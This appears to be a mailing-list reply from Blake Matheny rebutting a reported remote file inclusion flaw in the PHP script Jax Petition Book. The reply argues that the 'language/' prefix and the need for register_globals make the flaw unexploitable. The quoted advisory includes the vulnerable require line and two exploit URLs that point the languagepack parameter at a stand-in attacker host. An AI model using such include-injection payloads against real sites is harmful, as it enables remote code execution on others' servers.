This is not a vulnerability. Since $languagepack is prefixed by "language/",
the PHP stream handler will simply try to open a local file. Also, you can
only modify $languagepack if register_globals is on, which, it rarely is
these days.

Can we stop with the PHP 'vulnerabilities' that aren't?

-Blake

Whatchu talkin' 'bout, Willis?
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> *Script: Jax Petition Book
> *Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
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> *Code:
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> require ( "language/" .$languagepack . ".inc.php" );
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> *Exploit:
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> jax_petitionbook.php?languagepack=http://attacker.txt?
> smileys.php?languagepack=http://attacker.txt?
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Blake Matheny
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http://mobocracy.net
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